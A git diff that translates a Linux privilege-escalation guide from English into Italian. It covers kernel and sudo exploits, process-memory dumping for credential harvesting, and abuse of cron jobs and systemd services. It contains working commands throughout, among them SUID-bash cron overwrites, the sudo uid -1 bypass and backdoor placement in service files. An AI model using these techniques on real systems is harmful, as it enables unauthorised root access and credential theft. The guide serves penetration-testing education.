diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afccf5db5..dee228e4e 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,65 +2,54 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## Informazioni di Sistema -### OS info - -Let's start gaining some knowledge of the OS running +### Informazioni sul SO +Iniziamo a ottenere alcune informazioni sul SO in esecuzione ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` - ### Path -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +Se **hai permessi di scrittura su una qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: ```bash echo $PATH ``` +### Info ambiente -### Env info - -Interesting information, passwords or API keys in the environment variables? - +Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ```bash (env || set) 2>/dev/null ``` - ### Kernel exploits -Check the kernel version and if there is some exploit that can be used to escalate privileges - +Controlla la versione del kernel e se c'è qualche exploit che può essere utilizzato per elevare i privilegi. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +Puoi trovare un buon elenco di kernel vulnerabili e alcuni **exploit compilati** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +Altri siti dove puoi trovare alcuni **exploit compilati**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: - +Per estrarre tutte le versioni vulnerabili del kernel da quel sito puoi fare: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +Strumenti che potrebbero aiutare a cercare exploit del kernel sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire SUL vittima, controlla solo exploit per kernel 2.x) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +Cerca sempre **la versione del kernel su Google**, forse la tua versione del kernel è scritta in qualche exploit del kernel e allora sarai sicuro che questo exploit è valido. ### CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 - ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -68,96 +57,73 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Versione di Sudo -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +Basato sulle versioni vulnerabili di sudo che appaiono in: ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +Puoi controllare se la versione di sudo è vulnerabile utilizzando questo grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - #### sudo < v1.28 -From @sickrov - +Da @sickrov ``` sudo -u#-1 /bin/bash ``` +### Dmesg verifica della firma fallita -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +Controlla **smasher2 box di HTB** per un **esempio** di come questa vulnerabilità potrebbe essere sfruttata ```bash dmesg 2>/dev/null | grep "signature" ``` - -### More system enumeration - +### Maggiore enumerazione del sistema ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## Enumerare le possibili difese ### AppArmor - ```bash if [ `which aa-status 2>/dev/null` ]; then - aa-status - elif [ `which apparmor_status 2>/dev/null` ]; then - apparmor_status - elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then - ls -d /etc/apparmor* - else - echo "Not found AppArmor" +aa-status +elif [ `which apparmor_status 2>/dev/null` ]; then +apparmor_status +elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then +ls -d /etc/apparmor* +else +echo "Not found AppArmor" fi ``` - ### Grsecurity - ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX - ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield - ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux - ```bash - (sestatus 2>/dev/null || echo "Not found sestatus") +(sestatus 2>/dev/null || echo "Not found sestatus") ``` - ### ASLR - ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` - ## Docker Breakout -If you are inside a docker container you can try to escape from it: +Se sei all'interno di un container docker, puoi provare a fuggire da esso: {{#ref}} docker-security/ @@ -165,80 +131,69 @@ docker-security/ ## Drives -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info - +Controlla **cosa è montato e smontato**, dove e perché. Se qualcosa è smontato, potresti provare a montarlo e controllare informazioni private. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## Software utili -## Useful software - -Enumerate useful binaries - +Enumerare i binari utili ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +Controlla anche se **è installato un compilatore**. Questo è utile se hai bisogno di utilizzare qualche exploit del kernel poiché è consigliato compilarlo nella macchina in cui lo utilizzerai (o in una simile). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` +### Software Vulnerabile Installato -### Vulnerable Software Installed - -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (ad esempio) che potrebbe essere sfruttata per l'escalation dei privilegi...\ +Si consiglia di controllare manualmente la versione del software installato più sospetto. ```bash dpkg -l #Debian rpm -qa #Centos ``` +Se hai accesso SSH alla macchina, puoi anche utilizzare **openVAS** per controllare se ci sono software obsoleti e vulnerabili installati all'interno della macchina. -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che saranno per lo più inutili, quindi è consigliato utilizzare alcune applicazioni come OpenVAS o simili che verificheranno se qualche versione del software installato è vulnerabile a exploit noti._ -> [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ - -## Processes - -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +## Processi +Dai un'occhiata a **quali processi** vengono eseguiti e controlla se qualche processo ha **più privilegi di quanto dovrebbe** (magari un tomcat eseguito da root?) ```bash ps aux ps -ef top -n 1 ``` +Controlla sempre la presenza di [**debugger electron/cef/chromium**] in esecuzione, potresti abusarne per elevare i privilegi](electron-cef-chromium-debugger-abuse.md). **Linpeas** li rileva controllando il parametro `--inspect` all'interno della riga di comando del processo.\ +Controlla anche **i tuoi privilegi sui binari dei processi**, forse puoi sovrascrivere qualcuno. -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### Monitoraggio dei processi -### Process monitoring +Puoi utilizzare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatto un insieme di requisiti. -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### Memoria del processo -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +Alcuni servizi di un server salvano **le credenziali in chiaro all'interno della memoria**.\ +Normalmente avrai bisogno di **privilegi di root** per leggere la memoria dei processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire ulteriori credenziali.\ +Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi che possiedi**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Tieni presente che oggigiorno la maggior parte delle macchine **non consente ptrace per impostazione predefinita**, il che significa che non puoi dumpare altri processi che appartengono al tuo utente non privilegiato. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing. +> - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugged. +> - **kernel.yama.ptrace_scope = 2**: solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +Se hai accesso alla memoria di un servizio FTP (ad esempio) potresti ottenere l'Heap e cercare all'interno delle sue credenziali. ```bash gdb -p (gdb) info proc mappings @@ -247,50 +202,42 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - #### GDB Script - ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ - | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ - | while read start stop; do \ - gdb --batch --pid $1 -ex \ - "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ +| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ +| while read start stop; do \ +gdb --batch --pid $1 -ex \ +"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` - #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e scaricare tutte le regioni leggibili** in un file. ```bash procdump() ( - cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" - while read a b; do - dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ - skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" - done ) - cat $1*.bin > $1.dump - rm $1*.bin +cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" +while read a b; do +dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ +skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" +done ) +cat $1*.bin > $1.dump +rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accessibile utilizzando /dev/kmem.\ +Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` +### ProcDump per linux -### ProcDump for linux - -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -317,48 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` +### Strumenti -### Tools - -To dump a process memory you could use: +Per eseguire il dump della memoria di un processo puoi usare: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di tua proprietà +- Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (è richiesto root) -### Credentials from Process Memory +### Credenziali dalla memoria del processo -#### Manual example - -If you find that the authenticator process is running: +#### Esempio manuale +Se trovi che il processo dell'autenticatore è in esecuzione: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +Puoi eseguire il dump del processo (vedi le sezioni precedenti per trovare diversi modi per eseguire il dump della memoria di un processo) e cercare credenziali all'interno della memoria: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruba le credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. -| Feature | Process Name | -| ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| Caratteristica | Nome Processo | +| -------------------------------------------------- | -------------------- | +| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Connessioni FTP Attive) | vsftpd | +| Apache2 (Sessioni HTTP Basic Auth Attive) | apache2 | +| OpenSSH (Sessioni SSH Attive - Uso di Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) - ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -372,186 +313,158 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` - ## Scheduled/Cron jobs -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file utilizzati da root? usare symlink? creare file specifici nella directory utilizzata da root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` - ### Cron path -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Note how the user "user" has writing privileges over /home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_) +Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il path. Ad esempio: _\* \* \* \* root overwrite.sh_\ +Allora, puoi ottenere una shell di root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` +### Cron utilizzando uno script con un carattere jolly (Wildcard Injection) -### Cron using a script with a wildcard (Wildcard Injection) - -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +Se uno script eseguito da root contiene un “**\***” all'interno di un comando, potresti sfruttarlo per fare cose inaspettate (come privesc). Esempio: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**Se il carattere jolly è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (anche** _**./\***_ **non lo è).** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +Leggi la pagina seguente per ulteriori trucchi di sfruttamento dei caratteri jolly: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### Sovrascrittura di script cron e symlink +Se **puoi modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +Se lo script eseguito da root utilizza una **directory a cui hai accesso completo**, potrebbe essere utile eliminare quella cartella e **creare una cartella symlink a un'altra** che serve uno script controllato da te. ```bash ln -d -s ``` +### Lavori cron frequenti -### Frequent cron jobs - -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne e aumentare i privilegi. +Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà e elencherà ogni processo che inizia). -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### Cron job invisibili +È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova linea), e il cron job funzionerà. Esempio (nota il carattere di ritorno a capo): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` +## Servizi -## Services +### File _.service_ scrivibili -### Writable _.service_ files +Controlla se puoi scrivere qualsiasi file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** il tuo **backdoor quando** il servizio viene **avviato**, **riavviato** o **interrotto** (forse dovrai aspettare fino a quando la macchina non viene riavviata).\ +Ad esempio, crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +### Binaries di servizio scrivibili -### Writable service binaries +Tieni presente che se hai **permessi di scrittura sui binary eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor verranno eseguite. -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. - -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - Percorsi relativi +Puoi vedere il PATH utilizzato da **systemd** con: ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +Se scopri di poter **scrivere** in una delle cartelle del percorso, potresti essere in grado di **escalare i privilegi**. Devi cercare **percorsi relativi utilizzati nei file di configurazione dei servizi** come: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binario** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando il servizio viene richiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (gli utenti non privilegiati di solito non possono avviare/arrestare servizi, ma controlla se puoi usare `sudo -l`). -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +**Scopri di più sui servizi con `man systemd.service`.** -**Learn more about services with `man systemd.service`.** +## **Timer** -## **Timers** - -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono. +Puoi enumerare tutti i timer con: ```bash systemctl list-timers --all ``` +### Timer scrivibili -### Writable timers - -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +Se puoi modificare un timer, puoi farlo eseguire alcune istanze di systemd.unit (come un `.service` o un `.target`) ```bash Unit=backdoor.service ``` +Nella documentazione puoi leggere cosa è l'Unit: -In the documentation you can read what the Unit is: +> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, tranne per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano nominati identicamente, tranne per il suffisso. -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +Pertanto, per abusare di questo permesso dovresti: -Therefore, to abuse this permission you would need to: +- Trovare qualche unità systemd (come un `.service`) che sta **eseguendo un binario scrivibile** +- Trovare qualche unità systemd che sta **eseguendo un percorso relativo** e hai **privilegi di scrittura** sul **PATH di systemd** (per impersonare quell'eseguibile) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**Scopri di più sui timer con `man systemd.timer`.** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **Abilitare il Timer** +Per abilitare un timer hai bisogno di privilegi di root ed eseguire: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` - -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Nota che il **timer** è **attivato** creando un symlink ad esso in `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +I Unix Domain Sockets (UDS) abilitano la **comunicazione tra processi** sulla stessa o su macchine diverse all'interno di modelli client-server. Utilizzano file descrittori Unix standard per la comunicazione inter-computer e sono configurati tramite file `.socket`. -Sockets can be configured using `.socket` files. +I sockets possono essere configurati utilizzando file `.socket`. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Scopri di più sui sockets con `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.) +- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è 